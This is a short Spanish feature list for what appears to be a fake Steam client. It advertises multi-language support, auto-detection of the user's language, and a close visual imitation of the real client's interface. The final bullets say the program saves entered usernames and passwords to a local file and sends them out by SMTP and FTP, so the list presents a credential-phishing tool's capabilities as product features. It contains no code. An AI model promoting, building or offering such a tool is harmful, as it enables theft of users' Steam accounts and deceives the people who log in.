• Soporte multi idioma, soportando un total de 22 de los 26 idiomas del cliente original de Steam. Los idiomas no soportados son Koreano, Japonés, Chino tradicional y Chino simplificado
• Auto-detección de idioma. Por defecto se detectará el idioma del cliente steam instalado en el PC, si el cliente no está instalado se intentará utilizar el idioma del SO, si esto falla también, se utilizará el Inglés.
• Simulación elaborada de varias características del cliente original de Steam, así cómo de los efectos de iluminación de los controles de la interfáz original.
• Almacenamiento de usuario/contraseña en archivo local.
• Envio de usuario/contraseña mediante SMTP.
• Envio de usuario/contraseña mediante FTP.
